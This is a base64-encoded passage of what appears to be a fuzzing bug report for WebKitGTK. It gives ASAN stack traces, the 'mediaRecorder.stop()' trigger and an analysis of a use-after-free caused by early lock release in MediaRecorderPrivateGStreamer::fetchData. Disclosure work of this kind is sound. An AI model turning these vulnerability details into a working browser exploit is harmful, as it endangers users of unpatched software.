OTU6NQogICAgIzEzIDB4N2YwNjZmZDU2MjgwIGluIGxvbmcgV2ViQ29yZTo6SURMT3BlcmF0aW9u PFdlYkNvcmU6OkpTTWVkaWFSZWNvcmRlcj46OmNhbGw8JihXZWJDb3JlOjpqc01lZGlhUmVjb3Jk ZXJQcm90b3R5cGVGdW5jdGlvbl9zdGFydEJvZHkoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6 Q2FsbEZyYW1lKiwgV2ViQ29yZTo6SlNNZWRpYVJlY29yZGVyKikpLCAoV2ViQ29yZTo6Q2FzdGVk VGhpc0Vycm9yQmVoYXZpb3IpMD4oSlNDOjpKU0dsb2JhbE9iamVjdCYsIEpTQzo6Q2FsbEZyYW1l JiwgY2hhciBjb25zdCopIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcv U291cmNlL1dlYkNvcmUvYmluZGluZ3MvanMvSlNET01PcGVyYXRpb24uaDo2Mzo5CiAgICAjMTQg MHg3ZjA2NmZkNTYyODAgaW4gV2ViQ29yZTo6anNNZWRpYVJlY29yZGVyUHJvdG90eXBlRnVuY3Rp b25fc3RhcnQoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6Q2FsbEZyYW1lKikgL2Z1enppbmcv YnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWlsZC9XZWJDb3JlL0Rlcml2ZWRTb3Vy Y2VzL0pTTWVkaWFSZWNvcmRlci5jcHA6NjAwOjEyCiAgICAjMTUgMHg3ZjA2MWMyYjQwMzcgICg8 dW5rbm93biBtb2R1bGU+KQogICAgIzE2IDB4N2YwNjY5Y2UwZThlIGluIGpzX3RyYW1wb2xpbmVf b3BfY2FsbCBMb3dMZXZlbEludGVycHJldGVyLmNwcAogICAgIzE3IDB4N2YwNjY5Y2MzYTc5IGlu IHZtRW50cnlUb0phdmFTY3JpcHQgKC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUt ZGVidWcvYnVpbGQvbGliL2xpYmphdmFzY3JpcHRjb3JlZ3RrLTQuMS5zby4wKzB4NGUyOGE3OSkg KEJ1aWxkSWQ6IGY1NWVlZGMyN2JlODIzYWM2ZGM3YWI5MWI0M2M3ZGMxYWE1OWI5ZWUpCiAgICAj MTggMHg3ZjA2Njc5OTAyZjAgaW4gSlNDOjpJbnRlcnByZXRlcjo6ZXhlY3V0ZUNhbGxJbXBsKEpT Qzo6Vk0mLCBKU0M6OkpTT2JqZWN0KiwgSlNDOjpDYWxsRGF0YSBjb25zdCYsIEpTQzo6SlNWYWx1 ZSwgSlNDOjpBcmdMaXN0IGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAu NS1kZWJ1Zy9Tb3VyY2UvSmF2YVNjcmlwdENvcmUvaW50ZXJwcmV0ZXIvSW50ZXJwcmV0ZXIuY3Bw OjExMjM6MzIKICAgICMxOSAweDdmMDY2Nzk5MDJmMCBpbiBKU0M6OkludGVycHJldGVyOjpleGVj dXRlQ2FsbChKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpKU09iamVjdCosIEpTQzo6Q2FsbERh dGEgY29uc3QmLCBKU0M6OkpTVmFsdWUsIEpTQzo6QXJnTGlzdCBjb25zdCYpIC9mdXp6aW5nL2Jy b3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL0phdmFTY3JpcHRDb3JlL2ludGVy cHJldGVyL0ludGVycHJldGVyLmNwcDoxMTMyOjE2CiAgICAjMjAgMHg3ZjA2Njg1NzcwY2MgaW4g SlNDOjpjYWxsKEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkpTVmFsdWUsIEpTQzo6Q2FsbERh dGEgY29uc3QmLCBKU0M6OkpTVmFsdWUsIEpTQzo6QXJnTGlzdCBjb25zdCYpIC9mdXp6aW5nL2Jy b3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL0phdmFTY3JpcHRDb3JlL3J1bnRp bWUvQ2FsbERhdGEuY3BwOjU3OjI3CiAgICAjMjEgMHg3ZjA2Njg1NzcwY2MgaW4gSlNDOjpjYWxs KEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkpTVmFsdWUsIEpTQzo6Q2FsbERhdGEgY29uc3Qm LCBKU0M6OkpTVmFsdWUsIEpTQzo6QXJnTGlzdCBjb25zdCYsIFdURjo6TmFrZWRQdHI8SlNDOjpF eGNlcHRpb24+JikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3Vy Y2UvSmF2YVNjcmlwdENvcmUvcnVudGltZS9DYWxsRGF0YS5jcHA6NjQ6MjIKICAgICMyMiAweDdm MDY3MTcxMmQ5YSBpbiBXZWJDb3JlOjpKU0V2ZW50TGlzdGVuZXI6OmhhbmRsZUV2ZW50KFdlYkNv cmU6OlNjcmlwdEV4ZWN1dGlvbkNvbnRleHQmLCBXZWJDb3JlOjpFdmVudCYpIC9mdXp6aW5nL2Jy b3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvYmluZGluZ3MvanMv SlNFdmVudExpc3RlbmVyLmNwcDoyMjQ6MjIKICAgICMyMyAweDdmMDY3MjZmNmVkMiBpbiBXZWJD b3JlOjpFdmVudFRhcmdldDo6aW5uZXJJbnZva2VFdmVudExpc3RlbmVycyhXZWJDb3JlOjpFdmVu dCYsIFdURjo6VmVjdG9yPFdURjo6UmVmUHRyPFdlYkNvcmU6OlJlZ2lzdGVyZWRFdmVudExpc3Rl bmVyLCBXVEY6OlJhd1B0clRyYWl0czxXZWJDb3JlOjpSZWdpc3RlcmVkRXZlbnRMaXN0ZW5lcj4s IFdURjo6RGVmYXVsdFJlZkRlcmVmVHJhaXRzPFdlYkNvcmU6OlJlZ2lzdGVyZWRFdmVudExpc3Rl bmVyPiA+LCAxdWwsIFdURjo6Q3Jhc2hPbk92ZXJmbG93LCAydWwsIFdURjo6RmFzdE1hbGxvYz4s IFdlYkNvcmU6OkV2ZW50VGFyZ2V0OjpFdmVudEludm9rZVBoYXNlKSAvZnV6emluZy9icm93c2Vy cy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2RvbS9FdmVudFRhcmdldC5j cHA6Mzc1OjQwCiAgICAjMjQgMHg3ZjA2NzI2ZDlmZTEgaW4gV2ViQ29yZTo6RXZlbnRUYXJnZXQ6 OmZpcmVFdmVudExpc3RlbmVycyhXZWJDb3JlOjpFdmVudCYsIFdlYkNvcmU6OkV2ZW50VGFyZ2V0 OjpFdmVudEludm9rZVBoYXNlKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRl YnVnL1NvdXJjZS9XZWJDb3JlL2RvbS9FdmVudFRhcmdldC5jcHA6MzA3OjkKICAgICMyNSAweDdm MDY3M2Q2MWM1ZiBpbiBXZWJDb3JlOjpET01XaW5kb3c6OmRpc3BhdGNoRXZlbnQoV2ViQ29yZTo6 RXZlbnQmLCBXZWJDb3JlOjpFdmVudFRhcmdldCopIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0 ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvcGFnZS9ET01XaW5kb3cuY3BwOjIzOTM6NQog ICAgIzI2IDB4N2YwNjczZDhjMDc5IGluIFdlYkNvcmU6OkRPTVdpbmRvdzo6ZGlzcGF0Y2hMb2Fk RXZlbnQoKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9X ZWJDb3JlL3BhZ2UvRE9NV2luZG93LmNwcDoyMzI1OjUKICAgICMyNyAweDdmMDY3MjU2Y2QwMCBp biBXZWJDb3JlOjpEb2N1bWVudDo6ZGlzcGF0Y2hXaW5kb3dMb2FkRXZlbnQoKSAvZnV6emluZy9i cm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVu dC5jcHA6NTI4NzoxOAogICAgIzI4IDB4N2YwNjcyNTZjZDAwIGluIFdlYkNvcmU6OkRvY3VtZW50 OjppbXBsaWNpdENsb3NlKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1 Zy9Tb3VyY2UvV2ViQ29yZS9kb20vRG9jdW1lbnQuY3BwOjMzMDk6NQogICAgIzI5IDB4N2YwNjcz YTllM2YwIGluIFdlYkNvcmU6OkZyYW1lTG9hZGVyOjpjaGVja0NvbXBsZXRlZCgpIC9mdXp6aW5n L2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvbG9hZGVyL0Zy YW1lTG9hZGVyLmNwcDo5MTE6NQogICAgIzMwIDB4N2YwNjczYTk3ZTQzIGluIFdlYkNvcmU6OkZy YW1lTG9hZGVyOjpmaW5pc2hlZFBhcnNpbmcoKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGst Mi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2xvYWRlci9GcmFtZUxvYWRlci5jcHA6ODEwOjUK ICAgICMzMSAweDdmMDY3MjViMTc3ZiBpbiBXZWJDb3JlOjpEb2N1bWVudDo6ZmluaXNoZWRQYXJz aW5nKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2Vi Q29yZS9kb20vRG9jdW1lbnQuY3BwOjYzODA6MjUKICAgICMzMiAweDdmMDY3MzJhNDI2NyBpbiBX ZWJDb3JlOjpIVE1MRG9jdW1lbnRQYXJzZXI6OmVuZCgpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtp dGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIvSFRNTERvY3VtZW50 UGFyc2VyLmNwcDo0NDY6MjAKICAgICMzMyAweDdmMDY3MzJhNDI2NyBpbiBXZWJDb3JlOjpIVE1M RG9jdW1lbnRQYXJzZXI6OmF0dGVtcHRUb1J1bkRlZmVycmVkU2NyaXB0c0FuZEVuZCgpIC9mdXp6 aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvaHRtbC9w YXJzZXIvSFRNTERvY3VtZW50UGFyc2VyLmNwcDo0NTU6NQogICAgIzM0IDB4N2YwNjczMmE0MjY3 IGluIFdlYkNvcmU6OkhUTUxEb2N1bWVudFBhcnNlcjo6cHJlcGFyZVRvU3RvcFBhcnNpbmcoKSAv ZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2h0 bWwvcGFyc2VyL0hUTUxEb2N1bWVudFBhcnNlci5jcHA6MTUwOjUKICAgICMzNSAweDdmMDY3MzJh OWVlNSBpbiBXZWJDb3JlOjpIVE1MRG9jdW1lbnRQYXJzZXI6OmZpbmlzaCgpIC9mdXp6aW5nL2Jy b3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvaHRtbC9wYXJzZXIv SFRNTERvY3VtZW50UGFyc2VyLmNwcDo0OTU6NQogICAgIzM2IDB4N2YwNjczYTBjMzk2IGluIFdl YkNvcmU6OkRvY3VtZW50V3JpdGVyOjplbmQoKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGst Mi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2xvYWRlci9Eb2N1bWVudFdyaXRlci5jcHA6MzIy OjE1CiAgICAjMzcgMHg3ZjA2NzNhMDkzMjcgaW4gV2ViQ29yZTo6RG9jdW1lbnRMb2FkZXI6OmZp bmlzaGVkTG9hZGluZygpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcv U291cmNlL1dlYkNvcmUvbG9hZGVyL0RvY3VtZW50TG9hZGVyLmNwcDo1MTE6MTQKICAgICMzOCAw eDdmMDY3M2M5NzQzNiBpbiBXZWJDb3JlOjpDYWNoZWRSZXNvdXJjZTo6Y2hlY2tOb3RpZnkoV2Vi Q29yZTo6TmV0d29ya0xvYWRNZXRyaWNzIGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0 Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9sb2FkZXIvY2FjaGUvQ2FjaGVkUmVzb3Vy Y2UuY3BwOjM0MDoxNwogICAgIzM5IDB4N2YwNjczYzg2ZjBmIGluIFdlYkNvcmU6OkNhY2hlZFJl c291cmNlOjpmaW5pc2hMb2FkaW5nKFdlYkNvcmU6OkZyYWdtZW50ZWRTaGFyZWRCdWZmZXIgY29u c3QqLCBXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MgY29uc3QmKSAvZnV6emluZy9icm93c2Vy cy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2xvYWRlci9jYWNoZS9DYWNo ZWRSZXNvdXJjZS5jcHA6MzU2OjUKICAgICM0MCAweDdmMDY3M2M4NmYwZiBpbiBXZWJDb3JlOjpD YWNoZWRSYXdSZXNvdXJjZTo6ZmluaXNoTG9hZGluZyhXZWJDb3JlOjpGcmFnbWVudGVkU2hhcmVk QnVmZmVyIGNvbnN0KiwgV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzIGNvbnN0JikgL2Z1enpp bmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9sb2FkZXIv Y2FjaGUvQ2FjaGVkUmF3UmVzb3VyY2UuY3BwOjEyODoyMQogICAgIzQxIDB4N2YwNjczYmM0M2Rm IGluIFdlYkNvcmU6OlN1YnJlc291cmNlTG9hZGVyOjpkaWRGaW5pc2hMb2FkaW5nKFdlYkNvcmU6 Ok5ldHdvcmtMb2FkTWV0cmljcyBjb25zdCYpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0y LjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvbG9hZGVyL1N1YnJlc291cmNlTG9hZGVyLmNwcDo3 NTE6MTcKICAgICM0MiAweDdmMDY2ZTNlY2NlMyBpbiBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVy OjpkaWRGaW5pc2hSZXNvdXJjZUxvYWQoV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpIC9m dXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYktpdC9XZWJQ cm9jZXNzL05ldHdvcmsvV2ViUmVzb3VyY2VMb2FkZXIuY3BwOjI2MjoxOQogICAgIzQzIDB4N2Yw NjZjZTZiY2RmIGluIGF1dG8gdm9pZCBJUEM6OmNhbGxNZW1iZXJGdW5jdGlvbjxXZWJLaXQ6Oldl YlJlc291cmNlTG9hZGVyLCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCB2b2lkIChXZWJDb3Jl OjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRN ZXRyaWNzPiA+KFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIqLCB2b2lkIChXZWJLaXQ6OldlYlJl c291cmNlTG9hZGVyOjoqKShXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVw bGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPiYmKTo6J2xhbWJkYScoYXV0byYmLi4uKTo6 b3BlcmF0b3IoKTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+KGF1dG8mJi4uLikgY29uc3Qg L2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViS2l0L1Bs YXRmb3JtL0lQQy9IYW5kbGVNZXNzYWdlLmg6MTM2OjEzCiAgICAjNDQgMHg3ZjA2NmNlNmJjZGYg aW4gV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciBzdGQ6Ol9faW52b2tlX2ltcGw8dm9pZCwgdm9p ZCBJUEM6OmNhbGxNZW1iZXJGdW5jdGlvbjxXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCBXZWJL aXQ6OldlYlJlc291cmNlTG9hZGVyLCB2b2lkIChXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3Mm JiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPiA+KFdlYktpdDo6V2Vi UmVzb3VyY2VMb2FkZXIqLCB2b2lkIChXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyOjoqKShXZWJD b3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xv YWRNZXRyaWNzPiYmKTo6J2xhbWJkYScoYXV0byYmLi4uKSwgV2ViQ29yZTo6TmV0d29ya0xvYWRN ZXRyaWNzPihzdGQ6Ol9faW52b2tlX290aGVyLCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyJiYs IFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYmKSAvdXNyL2Jpbi8uLi9saWIvZ2NjL3g4Nl82 NC1saW51eC1nbnUvMTEvLi4vLi4vLi4vLi4vaW5jbHVkZS9jKysvMTEvYml0cy9pbnZva2UuaDo2 MToxNAogICAgIzQ1IDB4N2YwNjZjZTZiY2RmIGluIHN0ZDo6X19pbnZva2VfcmVzdWx0PFdlYktp dDo6V2ViUmVzb3VyY2VMb2FkZXIsIFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz46OnR5cGUg c3RkOjpfX2ludm9rZTx2b2lkIElQQzo6Y2FsbE1lbWJlckZ1bmN0aW9uPFdlYktpdDo6V2ViUmVz b3VyY2VMb2FkZXIsIFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIsIHZvaWQgKFdlYkNvcmU6Ok5l dHdvcmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJp Y3M+ID4oV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciosIHZvaWQgKFdlYktpdDo6V2ViUmVzb3Vy Y2VMb2FkZXI6OiopKFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxX ZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+JiYpOjonbGFtYmRhJyhhdXRvJiYuLi4pLCBXZWJD b3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+KFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXImJiwgV2Vi Q29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpIC91c3IvYmluLy4uL2xpYi9nY2MveDg2XzY0LWxp bnV4LWdudS8xMS8uLi8uLi8uLi8uLi9pbmNsdWRlL2MrKy8xMS9iaXRzL2ludm9rZS5oOjk2OjE0 CiAgICAjNDYgMHg3ZjA2NmNlNmJjZGYgaW4gZGVjbHR5cGUoYXV0bykgc3RkOjpfX2FwcGx5X2lt cGw8dm9pZCBJUEM6OmNhbGxNZW1iZXJGdW5jdGlvbjxXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVy LCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCB2b2lkIChXZWJDb3JlOjpOZXR3b3JrTG9hZE1l dHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPiA+KFdlYktp dDo6V2ViUmVzb3VyY2VMb2FkZXIqLCB2b2lkIChXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyOjoq KShXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0 d29ya0xvYWRNZXRyaWNzPiYmKTo6J2xhbWJkYScoYXV0byYmLi4uKSwgc3RkOjp0dXBsZTxXZWJD b3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+LCAwdWw+KFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIm JiwgV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciYmLCBzdGQ6OmludGVnZXJfc2VxdWVuY2U8dW5z aWduZWQgbG9uZywgMHVsPikgL3Vzci9iaW4vLi4vbGliL2djYy94ODZfNjQtbGludXgtZ251LzEx Ly4uLy4uLy4uLy4uL2luY2x1ZGUvYysrLzExL3R1cGxlOjE4NTg6MTQKICAgICM0NyAweDdmMDY2 Y2U2YmNkZiBpbiBkZWNsdHlwZShhdXRvKSBzdGQ6OmFwcGx5PHZvaWQgSVBDOjpjYWxsTWVtYmVy RnVuY3Rpb248V2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciwgV2ViS2l0OjpXZWJSZXNvdXJjZUxv YWRlciwgdm9pZCAoV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpLCBzdGQ6OnR1cGxlPFdl YkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz4gPihXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyKiwg dm9pZCAoV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlcjo6KikoV2ViQ29yZTo6TmV0d29ya0xvYWRN ZXRyaWNzJiYpLCBzdGQ6OnR1cGxlPFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz4mJik6Oids YW1iZGEnKGF1dG8mJi4uLiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNz PiA+KFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXImJiwgV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRl ciYmKSAvdXNyL2Jpbi8uLi9saWIvZ2NjL3g4Nl82NC1saW51eC1nbnUvMTEvLi4vLi4vLi4vLi4v aW5jbHVkZS9jKysvMTEvdHVwbGU6MTg2OToxNAogICAgIzQ4IDB4N2YwNjZjZTZiY2RmIGluIHZv aWQgSVBDOjpjYWxsTWVtYmVyRnVuY3Rpb248V2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciwgV2Vi S2l0OjpXZWJSZXNvdXJjZUxvYWRlciwgdm9pZCAoV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNz JiYpLCBzdGQ6OnR1cGxlPFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz4gPihXZWJLaXQ6Oldl YlJlc291cmNlTG9hZGVyKiwgdm9pZCAoV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlcjo6KikoV2Vi Q29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpLCBzdGQ6OnR1cGxlPFdlYkNvcmU6Ok5ldHdvcmtM b2FkTWV0cmljcz4mJikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9T b3VyY2UvV2ViS2l0L1BsYXRmb3JtL0lQQy9IYW5kbGVNZXNzYWdlLmg6MTM0OjUKICAgICM0OSAw eDdmMDY2Y2U2YmNkZiBpbiB2b2lkIElQQzo6aGFuZGxlTWVzc2FnZTxNZXNzYWdlczo6V2ViUmVz b3VyY2VMb2FkZXI6OkRpZEZpbmlzaFJlc291cmNlTG9hZCwgV2ViS2l0OjpXZWJSZXNvdXJjZUxv YWRlciwgV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciwgdm9pZCAoV2ViQ29yZTo6TmV0d29ya0xv YWRNZXRyaWNzJiYpPihJUEM6OkNvbm5lY3Rpb24mLCBJUEM6OkRlY29kZXImLCBXZWJLaXQ6Oldl YlJlc291cmNlTG9hZGVyKiwgdm9pZCAoV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlcjo6KikoV2Vi Q29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGst Mi40MC41LWRlYnVnL1NvdXJjZS9XZWJLaXQvUGxhdGZvcm0vSVBDL0hhbmRsZU1lc3NhZ2UuaDoy MzY6OQoKZnVydGhlciB3aGVuIHdlIGNhbGwgc3RvcCBtZXRob2Q6CgpMaW5lIDEyICAgICAgICAg ICAgIG1lZGlhUmVjb3JkZXIuc3RvcCgpOwoKaXQgc2VlbXMgdGhhdCBMb2NrZXIgb2JqZWN0IGlz IGxvY2tlZCBvbiBjbGFzcyBmaWVsZCBtX2RhdGFMb2NrIHdoaWNoIGdldCByZWxlYXNlZCBiZWZv cmUgTG9ja2VyIHNtYXJ0IHBvaW50ZXIgZGVzdHJ1Y3RvciBnZXRzIGNhbGxlZCB3aGljaCBpbiB0 dXJuIGxlYWRzIHRvIHVzZS1hZnRlci1mcmVlOgoKIFNvdXJjZS9XZWJDb3JlL3BsYXRmb3JtL21l ZGlhcmVjb3JkZXIvTWVkaWFSZWNvcmRlclByaXZhdGVHU3RyZWFtZXIuY3BwIzExMQoKCnZvaWQg TWVkaWFSZWNvcmRlclByaXZhdGVHU3RyZWFtZXI6OmZldGNoRGF0YShGZXRjaERhdGFDYWxsYmFj ayYmIGNvbXBsZXRpb25IYW5kbGVyKQp7CiAgICBMb2NrZXIgbG9ja2VyIHsgbV9kYXRhTG9jayB9 OwogICAgR1NUX0RFQlVHX09CSkVDVChtX3RyYW5zY29kZXIuZ2V0KCksICJUcmFuc2ZlcmluZyAl enUgZW5jb2RlZCBieXRlcyIsIG1fZGF0YS5zaXplKCkpOwogICAgYXV0byBidWZmZXIgPSBtX2Rh dGEudGFrZSgpOwogICAgY29tcGxldGlvbkhhbmRsZXIoV1RGTW92ZShidWZmZXIpLCBtaW1lVHlw ZSgpLCBtX3Bvc2l0aW9uKTsKfQoKQVNBTiBvdXRwdXQgc2hvd2luZyB3cml0ZSBvcGVyYXRpb24g YWZ0ZXIgb2JqZWN0IGhhcyBiZWVuIHJlbGVhc2VkIDoKCj09OTg4Nz09RVJST1I6IEFkZHJlc3NT YW5pdGl6ZXI6IGhlYXAtdXNlLWFmdGVyLWZyZWUgb24gYWRkcmVzcyAweDYwZjAwMDBmYjAxOCBh dCBwYyAweDdmMDY2ZTg5ZDZlMSBicCAweDdmZmVhMjdkNjAxMCBzcCAweDdmZmVhMjdkNjAwOApX UklURSBvZiBzaXplIDEgYXQgMHg2MGYwMDAwZmIwMTggdGhyZWFkIFQwCiAgICAjMCAweDdmMDY2 ZTg5ZDZlMCBpbiBzdGQ6Ol9fYXRvbWljX2Jhc2U8dW5zaWduZWQgY2hhcj46OmNvbXBhcmVfZXhj aGFuZ2Vfd2Vhayh1bnNpZ25lZCBjaGFyJiwgdW5zaWduZWQgY2hhciwgc3RkOjptZW1vcnlfb3Jk ZXIsIHN0ZDo6bWVtb3J5X29yZGVyKSAvdXNyL2Jpbi8uLi9saWIvZ2NjL3g4Nl82NC1saW51eC1n bnUvMTEvLi4vLi4vLi4vLi4vaW5jbHVkZS9jKysvMTEvYml0cy9hdG9taWNfYmFzZS5oOjUyMjo5 CiAgICAjMSAweDdmMDY2ZTg5ZDZlMCBpbiBzdGQ6Ol9fYXRvbWljX2Jhc2U8dW5zaWduZWQgY2hh cj46OmNvbXBhcmVfZXhjaGFuZ2Vfd2Vhayh1bnNpZ25lZCBjaGFyJiwgdW5zaWduZWQgY2hhciwg c3RkOjptZW1vcnlfb3JkZXIpIC91c3IvYmluLy4uL2xpYi9nY2MveDg2XzY0LWxpbnV4LWdudS8x MS8uLi8uLi8uLi8uLi9pbmNsdWRlL2MrKy8xMS9iaXRzL2F0b21pY19iYXNlLmg6NTQ3OjkKICAg ICMyIDB4N2YwNjZlODlkNmUwIGluIFdURjo6QXRvbWljPHVuc2lnbmVkIGNoYXI+Ojpjb21wYXJl RXhjaGFuZ2VXZWFrKHVuc2lnbmVkIGNoYXIsIHVuc2lnbmVkIGNoYXIsIHN0ZDo6bWVtb3J5X29y ZGVyKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dURi9I ZWFkZXJzL3d0Zi9BdG9taWNzLmg6ODk6MjIKICAgICMzIDB4N2YwNjZlODlkNmUwIGluIFdURjo6 TG9ja0FsZ29yaXRobTx1bnNpZ25lZCBjaGFyLCAodW5zaWduZWQgY2hhcikxLCAodW5zaWduZWQg Y2hhcikyLCBXVEY6OkVtcHR5TG9ja0hvb2tzPHVuc2lnbmVkIGNoYXI+ID46OnVubG9ja0Zhc3RB c3N1bWluZ1plcm8oV1RGOjpBdG9taWM8dW5zaWduZWQgY2hhcj4mKSAvZnV6emluZy9icm93c2Vy cy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dURi9IZWFkZXJzL3d0Zi9Mb2NrQWxnb3Jp dGhtLmg6ODg6MjEKICAgICM0IDB4N2YwNjZlODlkNmUwIGluIFdURjo6TG9jazo6dW5sb2NrKCkg L2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9idWlsZC9XVEYvSGVhZGVy cy93dGYvTG9jay5oOjkyOjEzCiAgICAjNSAweDdmMDY2ZTg5ZDZlMCBpbiBXVEY6OkxvY2tlcjxX 